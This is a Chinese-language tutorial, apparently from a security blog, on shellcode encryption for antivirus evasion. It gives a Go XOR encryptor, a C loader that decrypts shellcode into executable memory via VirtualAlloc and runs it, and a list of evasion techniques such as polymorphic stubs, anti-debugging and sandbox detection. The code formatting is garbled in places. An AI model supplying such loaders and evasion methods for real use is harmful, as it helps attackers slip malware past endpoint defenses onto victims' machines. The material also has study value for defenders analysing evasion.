0x01 反向思考:如何躲避猎人的眼睛
攻击者与防御者在信息安全领域中长期对抗,攻击者的每一步进攻都可能会暴露在防御者的监控之下。为了有效地进行攻击,隐藏自己的攻击意图,攻击者通常会利用Shellcode加密免杀技术,从而避开防御机制的检测。Shellcode是一种轻量级的攻击载荷,通常用于漏洞利用的攻击场景。为了绕过安全检测,攻击者会对Shellcode进行加密,只有在目标环境中解密执行。
解密Shellcode的原理
在讨论加密免杀之前,理解Shellcode解密的原理是必要的。有两种常见的Shellcode执行技术:一种是通过内存加载执行,另一种是通过进程注入执行。在这些技术中,攻击者会设计一种解密Stub,负责在攻击目标系统上进行解密,并在内存中执行解密后的Shellcode。
攻击者需要注意以下几点:
- 加密算法选择:使用对称加密算法(如AES)或自定义的简单加密算法来加密Shellcode。
- 解密Stub设计:解密的代码必须小而简洁,以降低被检测到的风险。
- 过程隐藏:解密和执行过程尽量隐藏在合法程序的内存中。
0x02 实战环境搭建:最小化你的测试场
搭建一个安全的测试环境是进行Shellcode加密免杀实验的第一步。在这里,我们将使用Kali Linux作为攻击机,Windows 10作为目标机。你可以通过以下步骤快速搭建一个基本的实验环境:
硬件与软件环境
- 攻击机:Kali Linux(可以使用VMware或VirtualBox虚拟机)
- 目标机:Windows 10(同样建议使用虚拟机)
环境配置步骤
- 在Kali Linux上安装必要工具:
- 更新包管理器并安装
golang用于编写我们的Shellcode加密程序。
<pre><code class="language-bash"> sudo apt update sudo apt install golang `
- 在Windows 10上设置调试环境:
- 安装
Process Hacker用于监控进程行为。 - 安装
Immunity Debugger用于调试Shellcode的执行。
- 网络设置:
- 确保攻击机与目标机在同一虚拟网络中,以便于进行网络流量的捕获和分析。
0x03 Payload构造的艺术:用Go实现加密Shellcode
接下来,我们将使用Go语言编写一个简单的工具来加密和解密Shellcode。为了演示,我们将使用XOR加密。虽然XOR并不是最安全的加密方式,但它简单易用,且能有效避开一些基础的静态检测。
Shellcode加密工具
我们将编写一个Go程序,负责将原始Shellcode进行XOR加密。以下是完整的代码: </code></pre>go package main

import ( "encoding/hex" "fmt" )
func xorEncryptDecrypt(shellcode []byte, key byte) []byte { encrypted := make([]byte, len(shellcode)) for i := range shellcode { encrypted[i] = shellcode[i] ^ key } return encrypted }
func main() { // 这是一个示例Shellcode,你需要替换为实际的Shellcode originalShellcode := []byte{0x31, 0xc0, 0x50, 0x68, 0x2f, 0x2f, 0x73, 0x68}
// 定义一个简单的XOR密钥 key := byte(0xAA)
// 对Shellcode进行加密 encryptedShellcode := xorEncryptDecrypt(originalShellcode, key) fmt.Println("加密后Shellcode:", hex.EncodeToString(encryptedShellcode))
// 解密以验证 decryptedShellcode := xorEncryptDecrypt(encryptedShellcode, key) fmt.Println("解密后Shellcode:", hex.EncodeToString(decryptedShellcode)) } <pre><code>
代码解析
- xorEncryptDecrypt:这是核心的加密/解密函数,通过与密钥进行XOR操作,生成加密后的Shellcode。
- 密钥选择:选择一个简单的字节作为XOR密钥,这是一个常见的免杀技术,通过变换密钥逃避静态扫描检测。
- 加密与解密验证:执行一次加密和解密可以确保加密算法的正确性。
0x04 幕后操作:解密与内存加载

在目标机上执行加密的Shellcode之前,我们需要编写一个小型的C程序来完成解密和执行过程。这通常是攻击者使用的技巧,以便更好地隐藏意图。
C语言实现解密与执行
以下是一个简单的C代码示例,用于加载和执行加密的Shellcode: </code></pre>c
include <stdio.h>
include <stdlib.h>
include <string.h>
include <windows.h>
void xorDecrypt(char *data, size_t dataLen, char key) { for (size_t i = 0; i < dataLen; i++) { data[i] ^= key; } }
int main() { // 加密后的Shellcode,需要从Go程序中获取 unsigned char encryptedShellcode[] = {0x9b, 0x6a, 0xfa, 0xc2, 0x85, 0x85, 0xd9, 0xc2};
// 解密密钥 char key = 0xAA; size_t shellcodeLen = sizeof(encryptedShellcode) / sizeof(encryptedShellcode[0]);

// 解密Shellcode xorDecrypt((char *)encryptedShellcode, shellcodeLen, key);
// 分配可执行内存 void *exec = VirtualAlloc(0, shellcodeLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, encryptedShellcode, shellcodeLen);
// 执行Shellcode ((void(*)())exec)();
return 0; } `
代码解析
- xorDecrypt函数:与Go程序类似,用于解密Shellcode。
- VirtualAlloc:分配可执行内存区域,确保Shellcode能在内存中执行。
- 内存复制与执行:将解密后的Shellcode复制到可执行内存中,并通过函数调用执行。
0x05 猎人与猎物:检测与对抗技术
Shellcode加密免杀技术虽然能有效绕过很多静态检测,但在面对高级持久性威胁(APT)和行为检测时,仍然存在被捕获的风险。以下是一些常见的检测与对抗技术:
行为分析
现代的EDR(终端检测与响应)系统会监控可疑的内存分配、代码执行和网络行为。为了对抗这些,攻击者可以:
- 代码混淆:通过改变解密Stub的代码结构,使其难以被行为分析检测。
- 多态代码:每次生成不同的加密Shellcode与解密Stub。
- 网络流量伪装:利用合法协议伪装攻击流量。
反调试与反沙箱
攻击者可以通过检测调试器或沙箱环境的存在来增强免杀效果:
- 调试器检测:检查常用调试器的进程名,如
Immunity Debugger。 - 沙箱逃逸:通过检测环境特征(如内存、CPU数量)来判断是否处于真实环境中。
0x06 经验分享:走出实验室
在进行Shellcode加密免杀的实验和攻击时,以下几点经验分享可能会对你有所帮助:

注意安全界限
永远不要在未经授权的情况下执行上述技术。即便是在实验室环境中,也需确保实验环境的隔离,以免误伤。
思维灵活
攻击者的成功在于思维的灵活性和创造力。利用现有的工具和语言(如Go、C)创造出新的攻击方法和免杀技巧。
不断学习
安全攻防技术日新月异,保持学习才能跟上攻防对抗的节奏。参加安全会议、阅读相关文献和不断实践,是提升攻击技术的不二法门。
对于攻击者而言,加密免杀技术仅仅是攻击过程中的一个环节。只有在完整的攻击链中,将其与信息收集、漏洞利用、权限提升、横向移动结合起来,才能有效突破防线,达成最终目标。